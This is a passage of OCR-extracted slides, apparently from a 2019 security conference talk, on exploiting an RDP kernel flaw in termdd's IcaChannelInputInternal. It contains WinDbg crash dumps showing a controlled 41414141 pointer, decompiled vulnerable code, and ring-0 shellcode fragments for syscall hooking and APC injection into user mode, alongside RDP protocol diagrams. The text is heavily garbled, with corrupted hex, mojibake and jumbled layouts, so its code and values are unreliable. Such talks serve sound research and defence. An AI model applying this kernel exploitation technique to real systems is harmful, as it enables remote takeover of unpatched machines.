nt !KeBugCheckEx+0x1b
nt!PspUnhandledExceptionInSystemThread+0xla
nt!PspSystemThreadStartup+0x5a
nt!KiThreadStartup+0x16

eax=6161616d ebx=00000000 ecx=blb8ed410 edx=00000000 esi=8954c9e8 edi=88fbb7c0
eip=baal978b esp=blb8e3bc ebp=blb8e400 iopl=0

cs=0008

SS=

0010

ds=

0023

es=0023

fs=0030

termdd!IcaChannelInputInternal+0x1lb:
baa0978b f£f10

1:

kd>

call

dword ptr

gs=0000

[eax]

nv up ei pl nz na po nc
ef1=00010202

2019 Security Development Conference
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D Memory - Kernel ‘com:pipe,resets=0,reconnect,port=\\.\pipe\kd_win-xp-sp3-2019061

baa4978b f£f10 dword ptr Virtual: |88c96 Display format: Byte
6¢ 9 0 90

90 90

90
90
30
90
30
90
30

WO WO OO
cooo

UL ous \ucloliou)

E bfbal (deferred)

=E==1=1=1=E=2=1—
=1=1=1=-X=1=-1=}

=

ba 000
bae50000

O DO
OO0 0DO0OC

XU-RV)

0
0
0
0
0
0

termdd!I a iputInternal+0x11b:
978 call dword

r

88c3969ch e

aa437 dword ptr [ebp+1Ch]
dword ptr [ebp+18h]

annellnputInternal+0x1:

f£1530ef
8b5d10
30 nov
mnowv
> nov
451c nov r [ebp+1Ch]
741~0N ~mr Award ntr Tehrnde1Ch]




FREIP

DEFAULT_BUCKET_ID: DRIVEE_FAULT
PROCESS _WAME: swchost

ERROR_CODE: (NTSTATUS) Oxc0000005 —

EXCEFTION_PARAMETERL:
EXCEFPTION_PARAMETERZ: 41414141
WREITE_ADDEESS: 41414141

FOLLOWOP_IF:
termdd! IcaChannel InputInternal+11d

baal973d 85db test ebx

FAILED THSTRUCTION_ADDRESS:
+1562f —1f 0099df=0
41414141 7?7 N

BUGCHECE_STRE: 0=7E

LAST_CONTROL_TRANSFER: from baal%78d to 41414141

STACK_TEXT:

Frame IF not in any known module.

: baal978d 88c969=0 blbd04fs

; baaladtb 898c=06a0 00000005
bibd04dn hnda--lb 896bdA5- 0000000G
bibd0O508 = . 898z06a0
blbdOS20 oooooon4
b1bd0548 b aqqsn514 oooooon4d
bibd0d9o . oo0s8s86e38 00000000
bibd0dac anqdnth4 890896b8 00000000
blbdlddc 805470de baalclde 896beb28
OOoooo00 oooooooo 00000000

"O=xx081l="

.ebx

oooooolo
oooooolf
UnDnDnlt
396bdsa

UUDDDDDD
pooooono
39085740
gooQoono
oooooono
oooooonao

RDEWD | i
termdd! Ic

termndd !

ked >

Fool page

BB=96000
88c96668

88c966al
E”j qFl?3E=

88096868
2896900
"'_qf:qu”

Following frames may be wrong.
N=41414141

previous
pPreEviouns
previous
pPrevious
previous
previous
previous

previous =1
Whning component

Channel InputInternal+0x11d
annelInput+0x41

nalErGLenLunnPcflun+U 74 ]

Channel Input+0=58
annel Input+0xz65
TDTCP ! TdInputThread+0=x481
IcalDriverThread+0x51
nt!PquyutumThleadStultup+ﬂu

nt | KiThreadStartup+0=le

4

G

c0IBEEHARBES
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(Allocated)
(Fres)

(Allocated)
(Allocated)
(Allocated)
(Allocated)
(Allocated)
(Allocated)

Unkﬁown (update pooltag.txt)
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ST HES

> ZkEZBEXP
»Shellcode¥<ETHERNZER (Ring 0) kAR IRQLE DISPATCH_LEVEL
PUFEARBARERARPSRERITHNERLZE (IRQLE PASSIVE_LEVEL)
PERRAVURFTEBNEBASESZRIEARZIsyscall
>Shellcode N FBEAWLZ R BARN A8 Z REFFsyscall

rxEERARTIREBER(APC) £FAPSXAMERRBHMIT(ring 3)
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BE maglcaChannelxf &

vl5 = chann->ChannelMgr;
if ( v15 )
{

((void (_ stdcall *)(IcaChannelDispatchTable *, PVOID, size t, int ¥*))vl5->

vl5,
pData, 171 J 4
cbData, 198 clean_up:
&new obj); 199 ExReleaseResourcelLite(& chann->}
if ( vida) 200 KeLeaveCriticalRegion();
ExFreePoolWithTag((PVOID)v1i4, 0); 201 IcaDereferenceChannel( chann);
vl4 = new obj; 202 4if ( v1d)
pData = *(PVOID *)(new obj + 8); 203 ExFreePoolWithTag((PVOID)vl14,
cbData = *(_DWORD *)(new obj + 0xC); 204 IcaDereferenceChannel( chann);
} 205 return 0;
if ( !cbbata ) 206 |}
goto clean_up;
while (1)

{

if ( v6->dword44 == 1 && conn->StackListHead.Flink[-1l].Blink == ( LIST ENT
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add dwordlesp],0x274

mov eax,0x804f9034

call eax;KeLeaveCriticalRegion
XOr eax,eax

pushad

1 call _setup_syscall _hook_find_eip
2 setup_syscall_hook_find_eip:

LR/ iR TT BEfzEret
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It works! A%

TEAP FEAME:

ErrCode = 00000000
eax=04c25aec =ebx=89%e
eip=805427d4 e=p=hblef
c==0008 ooin

ecx=00000174 =d=x=00000088 e=1=88c9%6fcl =di=0000022c
4 ebp=bleftded i1opl=3 nv up 21 pl nz ac po nc

e=z=0023 f==0030 g==0000 =f1=00013212

CLI_FAULT IHSTE:
ntlKiServiceE=xit 2+0

80542744 fa cli
LAST CONTROL TRAHNSFER: from 804£9df9 to 8052c=5dc
STACEKE_TEXT:

blefS824 S04f9df9 00000003
blefS870 S04fa%:=4d

blefS=50 S04fa£f33 00000050
blefS=70 S8052136a 00000050
blefS=d8 80545578

goooooo0 nt!EtlpBreakWithStatusInstruction
c0472zal nt | KiBugCheckDebugBreal+0x19
Qoooo000 nt!KeBugC 24+0=x574
Qoooooon nt!EeBugC

nt | MmAcces=sFaul t+0x9a8

L R |

0O
0 0n0o=n

blef5c=ds
bleftded
WARNING:
blef5d48
bleftddc
blefSeci
blefSecc
blefSedl

0542744
0070fecs
Frame IF
B0542537
805470de
77d1al3l
Ttfdc=000
poQooono

badb0dOn

not in anv known module.
805470de bac08bEE
39544b30
gooooooo
goooooon
goosoonn

bab08b85
7ffde000

L O o O o O e Y s Y s O e |

a05426lc
Following frames= may be wrong.

89544b30
ooooooaoo
oooooooo
ooosoooo

gooooonl

ntlKiTra

OE+0=dD

ntlKiServiceExit?2

l=z70fec8

ntlKiFa=tCallEntrv+0x1l7

nt | KiThreadStartup+0=zls

TSER3Z2 IClient ThreadSetup+0x127
O=x7ffd=000
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k8 2 EWin7 x86 shellcode@fig XP

_insert_queue_apc_loop:
mo: K\ au:
mov ebx, [ebx+4]

0 ne \
Il

. DL \
Ull | AU

[ ¢ be| ) (
mov eax, PSGETTHREADTEB_HASH
call get proc addr

mov al, byte [eax+0xa]
and eax,Oxff

.text:004125F9
.text:004125F9
.text:004125F9
.text:004125F9
.text:004125F9
.text:004125F9

j.text:004125F9

.text:004125FB
.text:004125FC
.text:004125FE
.text:00412601
.text:00412604
.text:00412605
.text:00412605

kd:> dt
+0=000
+0=010
+0=x018
+0=x0lc
+0=020
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nt ! _KTHREAD
Header
HMutantLi=stHead
InitialStack
StackLimit

: _DISPATCHEER _HEADER
: _LIST_ENTRY
: Ptr32 Void

Ptr3i2 Void

Ptr3id Void

__Stdcall PsGetThreadTeb(x)
public _PsGetThreadTeb@4

_PsGetThreadTeb@4 proc near

arg_0

= dword ptr 8

mov edi, edi

push ebp

mov ebp, esp

mov eax, [ebp+8]
mov eax, [eax+#20h]

pop ebp
retn 4

_PsGetThreadTeb@4 endp

DATA 1




[Eﬁsvchﬂsl.cxc
E\'{i:‘.ulhﬂcrnzc. .

ﬂ vmtool sd. exe

T‘ expLorer. exe
-

"vmtoolsd. exe

1rundll$2 exe
!

@c ttmon. exe

. nee =3 =}
i procexp. exe

Generic Host Process ..

¥YMware Guest Authenti...
YMware Tools Core Ser..
LSA Shell | Ver. .
Windows Calculator ap...
Client Server Runtime...
Windows NT Logon Appl...
Windows Explorer

¥YMware Tools Core Ser..
RBun a DLL as an App

CTF Loader

Sysinternals Process ..
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Demo
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»>1.3.1.2 Security-Enhanced Connection Sequence

>»There are two variations of the Security-Enhanced Connection Sequence. The negotiation-
based approach aims to provide backward-compatibility with previous RDP implementations,
while the Direct Approach favors more rigorous security over interoperability.

>»Direct Approach: Instead of negotiating a security package, the client and server
immediately execute a predetermined security protocol (for example, the CredSSP Protocol)
prior to any RDP traffic being exchanged on the wire. This approach results in all RDP traffic
being secured using the hard-coded security package. However, it has the disadvantage of
not working with servers that expect the connection sequence to be initiated bﬁtm X.224

Connection Request PDU.



Server

X.224 Connection Request PDU—>
i Connection Initiation
~<—X 224 Connection Confirm PDU

§—MCS Connect Initial PDU with GCC Conference Create Request—b
Basic Settings Exchange

Q—MCS Connect Response PDU with GCC Conference Create Response .

MCS Erect Domain Request PDU—>

MCS Attach User Request PDU—>

<—MCS Attach User Confirm PDU Channel Connection
MCS Channel Join Request PDU(s )—>
<—MCS Channel Join Confirm PDU(s) |
Security Exchange PDU——————Pp»: } RDP Security Commencement

—Chent Info P DU———mm—8M8@ P } Secure Settings Exchange

<—Auto Detect Request PDU(s) Optional Connect-Time

: Auto-Detect Response PDU(s )—> Auto-Detection
L|cense Error PDU - Valid Client ;} Licensing

<—In|t|ate Multitransport Request PDU Optional Multitransport
| Initiate Multitransport Response PDU—> Bootstrapping
<—Demand Active PDU :
<—Mon|tor Layout PDU—% Capabilities Exchange
—Conflrm Active PDU—>
g—Synchronlze PDU—bg
E—Control PDU - Cooperate—bg
g—ControI PDU - Request Control—»%

i Persistent Key List PDU(S)—>§

§ Font List PDU—»g Connection Finalization
§<—Synchronize PDU :
§<—Control PDU - Cooperate

gd—Control PDU - Granted Control :
«————— FontMapPDU———————————

c0IBEEHARBES
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W0 2% 2% 1) B A e

Client Server

X.224 Connection Request PDU—»E .
Connection

Initiation

E‘—X.224 Connection Confirm PDU

CredSSP External
Security Protocol H
Handshake . H
| TLS Security
’ i Protocol

Optional User

arly User Authorization Result PDU Authorization
Result

X.224 Connection Request PDU RDSTLS Protocol
(encrypted and
wrapped by TLS

Security Protocol)

Ed—RDSTLS Capabilities PDU

RDP Traffic i o
. R —

X.224 Connection Confirm PDU encrypted ! RDSTLS Authentication Request PDU 5
and wrapped H

MCS Connect Initial PDU with by the CredSSP

GCC Conference Create Request External
Security

MCS Connect Response PDU with Protocol
GCC Conference Create Response

\€——RDSTLS Authentication Response PDU—————|

MCS Connect Initial PDU with GCC Conference Create Request—»é
Post-"Connection

«¢——MCS Connect Response PDU with GCC Conference Create Response Initiation" RDP

Traffic encrypted

—————————MCS Erect Domain Request PDU——— P! and wrapped by

i . TLS Security
Protocol

MCS Erect Domain Request PDU

CredSSP RDSTLS



